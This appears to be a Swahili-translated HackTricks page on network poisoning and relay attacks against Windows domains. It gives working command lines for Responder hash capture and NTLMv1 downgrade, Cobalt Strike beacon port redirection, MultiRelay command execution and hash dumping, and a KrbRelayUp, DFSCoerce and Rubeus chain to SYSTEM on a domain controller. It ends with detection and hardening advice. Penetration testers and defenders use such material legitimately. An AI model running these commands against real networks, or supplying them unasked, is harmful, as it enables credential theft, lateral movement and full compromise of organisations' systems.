Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

Reading time: 11 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Network Protocols

Local Host Resolution Protocols

  • LLMNR, NBT-NS, and mDNS:
  • Microsoft na mifumo mingine ya uendeshaji hutumia LLMNR na NBT-NS kwa ajili ya kutatua majina ya ndani wakati DNS inashindwa. Vivyo hivyo, mifumo ya Apple na Linux hutumia mDNS.
  • Protokali hizi zinaweza kukabiliwa na udukuzi na spoofing kutokana na asili yao isiyo na uthibitisho, ya matangazo kupitia UDP.
  • Responder inaweza kutumika kuiga huduma kwa kutuma majibu yaliyotengenezwa kwa wenyeji wanaouliza protokali hizi.
  • Taarifa zaidi juu ya kuiga huduma kwa kutumia Responder inaweza kupatikana hapa.

Web Proxy Auto-Discovery Protocol (WPAD)

  • WPAD inaruhusu vivinjari kugundua mipangilio ya proxy kiotomatiki.
  • Ugunduzi unarahisishwa kupitia DHCP, DNS, au kurudi kwa LLMNR na NBT-NS ikiwa DNS inashindwa.
  • Responder inaweza kuendesha mashambulizi ya WPAD, ikielekeza wateja kwa seva za WPAD zenye uharibifu.

Responder for Protocol Poisoning

  • Responder ni chombo kinachotumika kwa kuharibu LLMNR, NBT-NS, na mDNS maswali, kikijibu kwa kuchagua kulingana na aina za maswali, hasa lengo likiwa huduma za SMB.
  • Inakuja ikiwa imewekwa awali katika Kali Linux, inayoweza kubadilishwa katika /etc/responder/Responder.conf.
  • Responder inaonyesha hash zilizokamatwa kwenye skrini na kuzihifadhi katika saraka ya /usr/share/responder/logs.
  • Inasaidia IPv4 na IPv6.
  • Toleo la Windows la Responder linapatikana hapa.

Running Responder

  • Kuendesha Responder kwa mipangilio ya default: responder -I <Interface>
  • Kwa uchunguzi mkali zaidi (ikiwa na athari zinazoweza kutokea): responder -I <Interface> -P -r -v
  • Mbinu za kukamata changamoto/jibu za NTLMv1 kwa urahisi wa kuvunja: responder -I <Interface> --lm --disable-ess
  • Kuiga WPAD kunaweza kuanzishwa kwa: responder -I <Interface> --wpad
  • Maombi ya NetBIOS yanaweza kutatuliwa kwa IP ya mshambuliaji, na proxy ya uthibitishaji inaweza kuanzishwa: responder.py -I <interface> -Pv

DHCP Poisoning with Responder

  • Kuiga majibu ya DHCP kunaweza kuharibu kwa kudumu taarifa za routing za mwathirika, ikitoa njia ya siri zaidi kuliko kuharibu ARP.
  • Inahitaji maarifa sahihi ya usanidi wa mtandao wa lengo.
  • Kuendesha shambulizi: ./Responder.py -I eth0 -Pdv
  • Njia hii inaweza kukamata hash za NTLMv1/2 kwa ufanisi, lakini inahitaji kushughulikia kwa makini ili kuepuka kuvuruga mtandao.

Capturing Credentials with Responder

  • Responder itaimarisha huduma kwa kutumia protokali zilizoelezwa hapo juu, ikikamata akidi (kawaida NTLMv2 Changamoto/Jibu) wakati mtumiaji anajaribu kuthibitisha dhidi ya huduma zilizoghushiwa.
  • Jaribio linaweza kufanywa kushuka hadi NetNTLMv1 au kuzima ESS kwa urahisi wa kuvunja akidi.

Ni muhimu kutambua kwamba kutumia mbinu hizi inapaswa kufanywa kisheria na kwa maadili, kuhakikisha idhini sahihi na kuepuka kuvuruga au ufikiaji usioidhinishwa.

Inveigh

Inveigh ni chombo kwa ajili ya wapimaji wa penetralia na timu za red, kilichoundwa kwa mifumo ya Windows. Kinatoa kazi zinazofanana na Responder, kikifanya kuiga na mashambulizi ya mtu katikati. Chombo hiki kimebadilika kutoka kwa skripti ya PowerShell hadi binary ya C#, na Inveigh na InveighZero kama matoleo makuu. Vigezo na maelekezo ya kina yanaweza kupatikana katika wiki.

Inveigh inaweza kuendeshwa kupitia PowerShell:

bash
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y

Au kutekelezwa kama binary ya C#:

bash
Inveigh.exe

NTLM Relay Attack

Shambulio hili linatumia vikao vya uthibitishaji vya SMB kupata mashine lengwa, likitoa shell ya mfumo ikiwa litafanikiwa. Masharti muhimu ni:

  • Mtumiaji anayethibitisha lazima awe na ufikiaji wa Local Admin kwenye mwenyeji aliyehamasishwa.
  • Saini ya SMB inapaswa kuzuiliwa.

445 Port Forwarding and Tunneling

Katika hali ambapo utambulisho wa moja kwa moja wa mtandao hauwezekani, trafiki kwenye bandari 445 inahitaji kuelekezwa na kupitishwa. Zana kama PortBender husaidia katika kuelekeza trafiki ya bandari 445 kwenda kwenye bandari nyingine, ambayo ni muhimu wakati ufikiaji wa admin wa ndani unapatikana kwa ajili ya kupakia madereva.

PortBender setup and operation in Cobalt Strike:

bash
Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)

beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080

# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop

Zana Nyingine za Shambulio la NTLM Relay

  • Metasploit: Imewekwa na proxies, maelezo ya mwenyeji wa ndani na wa mbali.
  • smbrelayx: Skripti ya Python kwa ajili ya kuhamasisha vikao vya SMB na kutekeleza amri au kuweka backdoors.
  • MultiRelay: Zana kutoka kwenye seti ya Responder ili kuhamasisha watumiaji maalum au watumiaji wote, kutekeleza amri, au kutoa hashes.

Kila zana inaweza kuwekewa mipangilio ili kufanya kazi kupitia SOCKS proxy ikiwa inahitajika, ikiruhusu mashambulizi hata na ufikiaji wa mtandao wa moja kwa moja.

Uendeshaji wa MultiRelay

MultiRelay inatekelezwa kutoka kwenye /usr/share/responder/tools directory, ikilenga IP au watumiaji maalum.

bash
python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes

# Proxychains for routing traffic

Hizi zana na mbinu zinaunda seti kamili ya kufanya mashambulizi ya NTLM Relay katika mazingira mbalimbali ya mtandao.

Kulazimisha NTLM Logins

Katika Windows unaweza kuwa na uwezo wa kulazimisha akaunti fulani zenye mamlaka kuthibitisha kwenye mashine zisizo za kawaida. Soma ukurasa ufuatao kujifunza jinsi:

Force NTLM Privileged Authentication

Mashambulizi ya Kerberos Relay

Mashambulizi ya Kerberos relay yanaua AP-REQ ticket kutoka huduma moja na kuirudisha dhidi ya huduma ya pili inayoshiriki funguo sawa za akaunti ya kompyuta (kwa sababu SPNs zote mbili ziko kwenye akaunti ya mashine $). Hii inafanya kazi ingawa daraja za huduma za SPNs zinatofautiana (mfano CIFS/LDAP/) kwa sababu funguo inayofungua tiketi ni NT hash ya mashine, si SPN string yenyewe na SPN string si sehemu ya saini.

Tofauti na NTLM relay, hop inakabiliwa na mwenyeji mmoja lakini, ikiwa unalenga protokali inayokuruhusu kuandika kwenye LDAP, unaweza kuunganisha kwenye Resource-Based Constrained Delegation (RBCD) au AD CS enrollment na kupiga NT AUTHORITY\SYSTEM kwa risasi moja.

Kwa maelezo ya kina kuhusu shambulizi hili angalia:

TokenKusudiUmuhimu wa Relay
TGT / AS-REQ ↔ REPInathibitisha mtumiaji kwa KDChaijaguswa
Service ticket / TGS-REQ ↔ REPImefungwa kwa SPN moja; imefungwa kwa funguo ya mmiliki wa SPNinaweza kubadilishana ikiwa SPNs zinashiriki akaunti
AP-REQMteja anatumia TGS kwa hudumatunachokiba na kurudisha
  • Tiketi zimefungwa kwa funguo iliyotokana na nenosiri la akaunti inayomiliki SPN.
  • Authenticator ndani ya AP-REQ ina alama ya muda ya dakika 5; kurudisha ndani ya dirisha hilo ni halali hadi cache ya huduma ionyeshe nakala.
  • Windows mara chache huangalia ikiwa SPN string katika tiketi inalingana na huduma unayoipiga, hivyo tiketi ya CIFS/HOST kawaida inafunguka vizuri kwenye LDAP/HOST.
    1. Nini kinapaswa kuwa kweli ili kuhamasisha Kerberos
  1. Funguo iliyoshirikiwa: SPNs za chanzo na lengo zinamilikiwa na akaunti moja ya kompyuta (kawaida kwenye seva za Windows).
  2. Hakuna ulinzi wa channel: SMB/LDAP kusaini mbali na EPA mbali kwa HTTP/LDAPS.
  3. Unaweza kukamata au kulazimisha uthibitisho: LLMNR/NBNS sumu, DNS spoof, PetitPotam / DFSCoerce RPC, fake AuthIP, rogue DCOM, n.k..
  4. Chanzo cha tiketi hakijatumika tayari: unashinda mbio kabla ya pakiti halisi kufika au kuzuia kabisa; vinginevyo cache ya kurudisha ya seva inatoa Tukio 4649.
  5. Unahitaji kwa namna fulani kuwa na uwezo wa kufanya MitM katika mawasiliano labda ukiwa sehemu ya kundi la DNSAmins kubadilisha DNS ya kikoa au kuwa na uwezo wa kubadilisha faili ya HOST ya mwathirika.

Hatua za Kerberos Relay

  • 3.1 Fanya utafiti wa mwenyeji
powershell
# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName
  • 3.2 Anza msikilizaji wa relay

KrbRelayUp

powershell
# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8

KrbRelayUp inafunga KrbRelay → LDAP → RBCD → Rubeus → SCM bypass katika binary moja.

  • 3.3 Lazimisha uthibitisho wa Kerberos
powershell
# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50

DFSCoerce inafanya DC itume tiketi ya Kerberos CIFS/DC01 kwetu.

  • 3.4 Relay the AP-REQ

KrbRelay inatoa GSS blob kutoka SMB, inaiweka tena katika LDAP bind, na kupeleka kwa ldap://DC01—uthibitishaji unafanikiwa kwa sababu funguo ile ile inaitafsiri.

  • 3.5 Abuse LDAP ➜ RBCD ➜ SYSTEM
powershell
# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
SCMUACBypass.exe

You now own NT AUTHORITY\SYSTEM.

More paths worth knowing

VectorTrickWhy it matters
AuthIP / IPSecServer bandia inatuma GSS-ID payload na SPN yoyote; mteja anajenga AP-REQ moja kwa moja kwakoInafanya kazi hata kati ya subnets; mashine creds kwa default
DCOM / MSRPCResolver mbaya wa OXID inamfanya mteja kuidhinisha kwa SPN na bandari yoyotePriv-esc ya local safi; inapita firewall
AD CS Web EnrollRelay tiketi ya mashine kwa HTTP/CA na pata cheti, kisha PKINIT kutengeneza TGTsInapita ulinzi wa LDAP signing
Shadow CredentialsAndika msDS-KeyCredentialLink, kisha PKINIT na funguo za bandiaHakuna haja ya kuongeza akaunti ya kompyuta

Troubleshooting

ErrorMeaningFix
KRB_AP_ERR_MODIFIEDTiketi funguo ≠ funguo ya lengoHost/SPN isiyo sahihi
KRB_AP_ERR_SKEWSaa > 5 min offsetSanidi muda au tumia w32tm
LDAP bind failsSigning enforcedTumia njia ya AD CS au zima signing
Event 4649 spamHuduma iliona Authenticator ya nakalazuia au race pakiti ya asili

Detection

  • Kuongezeka kwa Event 4769 kwa CIFS/, HTTP/, LDAP/ kutoka chanzo kimoja ndani ya sekunde.
  • Event 4649 kwenye huduma inaonyesha replay iligundulika.
  • Kerberos logon kutoka 127.0.0.1 (relay kwa SCM ya ndani) ni ya kutia shaka—panga kupitia sheria ya Sigma katika nyaraka za KrbRelayUp.
  • Angalia mabadiliko kwenye sifa za msDS-AllowedToActOnBehalfOfOtherIdentity au msDS-KeyCredentialLink.

Hardening

  1. Lazimisha LDAP & SMB signing + EPA kwenye kila seva.
  2. Gawanya SPNs ili HTTP isiwe kwenye akaunti sawa na CIFS/LDAP.
  3. Patch coercion vectors (PetitPotam KB5005413, DFS, AuthIP).
  4. Weka ms-DS-MachineAccountQuota = 0 kuzuia kujiunga kwa kompyuta za uhalifu.
  5. Onyesha kwenye Event 4649 na logon za Kerberos za loopback zisizotarajiwa.

References

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks